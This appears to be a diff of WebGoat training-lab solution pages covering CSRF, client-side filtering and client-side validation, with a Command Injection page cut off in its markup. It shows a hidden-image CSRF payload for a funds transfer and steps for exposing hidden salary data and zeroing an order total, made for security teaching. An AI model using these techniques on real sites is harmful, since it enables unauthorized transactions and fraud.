font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:595.3pt 841.9pt;
|
||||
margin:70.55pt 56.9pt 70.55pt 56.9pt;
|
||||
mso-header-margin:35.3pt;
|
||||
mso-footer-margin:35.3pt;
|
||||
mso-title-page:yes;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="4098"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to
|
||||
Perform Cross Site Request Forgery. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'>Concept
|
||||
/ Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>This
|
||||
lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'>How
|
||||
the attacks works:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>Cross-Site
|
||||
Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a
|
||||
page that contains img links like the one below: <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span lang=NL-BE
|
||||
style='font-family:"Arial","sans-serif";mso-ansi-language:NL-BE'><img
|
||||
src="</span><span style='font-family:"Arial","sans-serif"'><a
|
||||
href="http://www.mybank.com/transferFunds.do?acctId=123456"
|
||||
title="http://www.mybank.com/transferFunds.do?acctId=123456"><span lang=NL-BE
|
||||
style='mso-ansi-language:NL-BE'>http://www.mybank.com/sendFunds.do?acctId=123456</span></a></span><span
|
||||
lang=NL-BE style='font-family:"Arial","sans-serif";mso-ansi-language:NL-BE'>"/></span><span
|
||||
lang=NL-BE style='font-size:10.0pt;font-family:"Arial","sans-serif";mso-ansi-language:
|
||||
NL-BE'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>When
|
||||
the victim's browser attempts to render this page, it will issue a request to
|
||||
www.mybank.com to the transferFunds.do page with the specified parameters. The
|
||||
browser will think the link is to get an image, even though it actually is a
|
||||
funds transfer function. The request will include any cookies associated with
|
||||
the site. Therefore, if the user has authenticated to the site, and has either
|
||||
a permanent cookie or even a current session cookie, the site will have no way
|
||||
to distinguish this from a legitimate user request. In this way, the attacker
|
||||
can make the victim perform actions that they didn't intend to, such as logout,
|
||||
purchase item, or any other function provided by the vulnerable website <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><!-- Start Instructions -->Your
|
||||
goal is to send an email to a newsgroup that contains an image whose URL is
|
||||
pointing to a malicious request. Try to include a 1x1 pixel image that includes
|
||||
a URL. The URL should point to the CSRF lesson with an extra parameter
|
||||
"transferFunds=4000". You can copy the shortcut from the left hand
|
||||
menu by right clicking on the left hand menu and choosing copy shortcut.
|
||||
Whoever receives this email and happens to be authenticated at that time will
|
||||
have his funds transferred. When you think the attack is successful, refresh
|
||||
the page and you will find the green check on the left hand side menu.<br/>
|
||||
<b>Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values.</b><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype
|
||||
id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"
|
||||
path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_105" o:spid="_x0000_i1029" type="#_x0000_t75"
|
||||
style='width:480pt;height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/CSRF_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img border=0 width=640 height=370
|
||||
src="lesson_solutions/CSRF_files/image011.jpg" v:shapes="Picture_x0020_105"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>1</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> How to perform CSRF</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<h3 style='text-align:justify'>Solution:</h3>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>To
|
||||
complete this lesson you need to embed HTML code in the message box. This HTML
|
||||
code should contain a image tag linking to an URL that is not a real image<span
|
||||
style='mso-spacerun:yes'><EFBFBD> </span>will but start a transaction on the web
|
||||
server instead.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>The
|
||||
format of an image in html is <img src="[URL]" width="1"
|
||||
height="1" /><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'>The transaction can be triggered by an URL to the
|
||||
current lesson and an extra parameter "transferFunds" and the amount. The
|
||||
width=1 and height=1 will not show the image.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'>This payload will work:<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'><img
|
||||
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
|
||||
width="1" height="1" /><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'>So create a new message with title "Test" and a
|
||||
message with the payload.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape
|
||||
id="Picture_x0020_106" o:spid="_x0000_i1028" type="#_x0000_t75" style='width:480pt;
|
||||
height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/CSRF_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img border=0 width=640 height=370
|
||||
src="lesson_solutions/CSRF_files/image012.jpg" v:shapes="Picture_x0020_106"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>2</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Insert payload</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='mso-fareast-language:
|
||||
JA'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'>The page will refresh and you will see a new message
|
||||
in the message list.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='mso-fareast-language:
|
||||
JA'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_107"
|
||||
o:spid="_x0000_i1027" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/CSRF_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img border=0 width=640 height=370
|
||||
src="lesson_solutions/CSRF_files/image013.jpg" v:shapes="Picture_x0020_107"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>3</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> New message test<span
|
||||
style='mso-fareast-language:JA'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>Click
|
||||
on the message test. This will download the message and display the contents as
|
||||
HTML, executing the payload. Examine the HTTP Request in WebScarab that is
|
||||
generated when the browers tries to render the image tag.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape
|
||||
id="Picture_x0020_108" o:spid="_x0000_i1026" type="#_x0000_t75" style='width:481.5pt;
|
||||
height:344.25pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/CSRF_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img border=0 width=642 height=459
|
||||
src="lesson_solutions/CSRF_files/image014.jpg" v:shapes="Picture_x0020_108"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>4</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> CSRF attack</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>Now
|
||||
you need to refresh the page to get the green star next to the lesson.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_109"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/CSRF_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img border=0 width=640 height=370
|
||||
src="lesson_solutions/CSRF_files/image015.jpg" v:shapes="Picture_x0020_109"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>5</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Lesson completed</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
84
src/main/webapp/lesson_solutions_1/ClientSideFiltering.html
Normal file
84
src/main/webapp/lesson_solutions_1/ClientSideFiltering.html
Normal file
@ -0,0 +1,84 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Client Side Filtering</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Client Side Filtering</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
It is always a good practice to send to the client
|
||||
only information which they are supposed to have access to.
|
||||
In this lesson, too much information is being sent to the
|
||||
client, creating a serious access control problem.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, your mission is exploit the extraneous
|
||||
information being returned by the server to discover information
|
||||
to which you should not have access.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
<p>
|
||||
This Lab consists of two Stages. In the first Stage you have to
|
||||
get sensitive information . In the second one you have to fix the problem.<br/>
|
||||
</p>
|
||||
<b>Stage 1</b>
|
||||
<p>
|
||||
Use Firebug to solve this stage. If you are using IE you can try it with
|
||||
IEWatch.</p>
|
||||
|
||||
First use any person from the list and see what you get. After doing this you
|
||||
can search for a specific person in Firebug. Make sure you find the hidden table with
|
||||
the information, including the salary and so on. In the same table you will find
|
||||
Neville.
|
||||
|
||||
<img src="lesson_solutions/ClientSideFiltering_files/clientside_firebug.jpg" alt="Clientside Filtering" /><br>
|
||||
<font size="2"><b>Inspect HTML on Firebug</b></font>
|
||||
|
||||
<p>
|
||||
Now write the salary into the text edit box and submit your answer!
|
||||
</p>
|
||||
<b>Stage 2</b>
|
||||
<p>
|
||||
In this stage you have to modify the clientSideFiltering.jsp which you will find under
|
||||
the WebContent in the lessons/Ajax folder. The Problem is that
|
||||
the server sends all information to the client. As you could see
|
||||
even if it is hidden it is easy to find the sensitive date. In this
|
||||
stage you will add a filter to the XPath queries. In this file you will find
|
||||
following construct:<br><br></p>
|
||||
<code>
|
||||
StringBuffer sb = new StringBuffer();<br>
|
||||
|
||||
sb.append("/Employees/Employee/UserID | ");<br>
|
||||
sb.append("/Employees/Employee/FirstName | ");<br>
|
||||
sb.append("/Employees/Employee/LastName | ");<br>
|
||||
sb.append("/Employees/Employee/SSN | ");<br>
|
||||
sb.append("/Employees/Employee/Salary ");<br>
|
||||
|
||||
String expression = sb.toString();<br>
|
||||
</code>
|
||||
<p>
|
||||
This string will be used for the XPath query. You have to guarantee that a manger only
|
||||
can see employees which are working for him. To archive this you can use
|
||||
filters in XPath. Following code will exactly do this:</p>
|
||||
<code>
|
||||
StringBuffer sb = new StringBuffer();<br>
|
||||
|
||||
sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/UserID | ");<br>
|
||||
sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/FirstName | ");<br>
|
||||
sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/LastName | ");<br>
|
||||
sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/SSN | ");<br>
|
||||
sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/Salary ");<br>
|
||||
|
||||
String expression = sb.toString();<br>
|
||||
</code>
|
||||
<p>
|
||||
Now only information is sent to your client you are authorized for. You can click on the button.
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
64
src/main/webapp/lesson_solutions_1/ClientSideValidation.html
Normal file
64
src/main/webapp/lesson_solutions_1/ClientSideValidation.html
Normal file
@ -0,0 +1,64 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Insecure Client Storage</title>
|
||||
<link rel="stylesheet" type="text/css"
|
||||
href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Insecure Client Storage</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br />
|
||||
It is always a good practice to validate all input
|
||||
on the server side. Leaving the mechanism for validation
|
||||
on the client side leaves it vulnerable to reverse engineering.
|
||||
Remember, anything on the client side should not be considered a secret.</p>
|
||||
|
||||
|
||||
|
||||
<p><b>General Goal(s):</b><br />
|
||||
For this exercise, your mission is to discover a coupon
|
||||
code to receive an unintended discount. Then, exploit the use
|
||||
of client side validation to submit an order with a cost of zero. </p>
|
||||
|
||||
<p><b>Solution:</b><br />
|
||||
For the solution you need a plugin for your browser, which is capable of debugging
|
||||
Javascript. For IE you can use IEWatch. This solution is written for Firebug
|
||||
which is a plugin for Firefox.
|
||||
</p>
|
||||
|
||||
<b>Stage 1</b>
|
||||
<p>
|
||||
First we want to try to get a coupon code to get something cheaper. Open
|
||||
Firebug and click on the Script Tab. Make sure you choose clientSideValidation.js
|
||||
on the dropdown list. Toggle a breakpoint on the line:<br/>
|
||||
<code>decrypted = decrypt(coupons[i]);</code></p>
|
||||
Now enter a character in the coupon code field. The Javascript gets executed
|
||||
but stops at the breakpoint. On the right side you see the parameters
|
||||
and there values. Now use the step over symbol or F10. Now you can read
|
||||
the clear text of decrypted:
|
||||
<br><br>
|
||||
<img src="lesson_solutions/ClientSideValidation_files/ClientSideValidation_stage1.png" width=450px alt="Stage 1" />
|
||||
<br>
|
||||
<b><font size="2">Figure 1 Firebug in action</font></b>
|
||||
|
||||
<p>
|
||||
Now that you know the coupon name enter it in the coupon field, purchase something
|
||||
and you are done.
|
||||
</p>
|
||||
|
||||
<b>Stage 2</b>
|
||||
<p>
|
||||
You can not edit the Prices in the Shopping Cart. The reason is that the readonly
|
||||
attribute is set for this field.
|
||||
</p>
|
||||
<p>To get rid of this attribute open Firebug. Make sure this time you use
|
||||
the HTML View. You can directly in
|
||||
Firebug search for readonly and elemenate this attribute.The field for the total is
|
||||
called GRANDTOT. After having deleted the readonly attribute from GRANDTOT
|
||||
it is possible to change the price directly in the browser. Select any products
|
||||
you like, change the total field to 0 and hit the purchase button.</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
739
src/main/webapp/lesson_solutions_1/CommandInjection.html
Normal file
739
src/main/webapp/lesson_solutions_1/CommandInjection.html
Normal file
@ -0,0 +1,739 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<title>Solution: Command Injection</title>
|
||||
<link rel=File-List href="lesson_solutions/CommandInjection_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/CommandInjection_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>3</o:Revision>
|
||||
<o:TotalTime>34</o:TotalTime>
|
||||
<o:Created>2007-07-11T11:04:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:25:00Z</o:LastSaved>
|
||||
<o:Pages>2</o:Pages>
|
||||
<o:Words>198</o:Words>
|
||||
<o:Characters>1130</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>9</o:Lines>
|
||||
<o:Paragraphs>2</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>1326</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/CommandInjection_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping
|
||||
href="lesson_solutions/CommandInjection_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
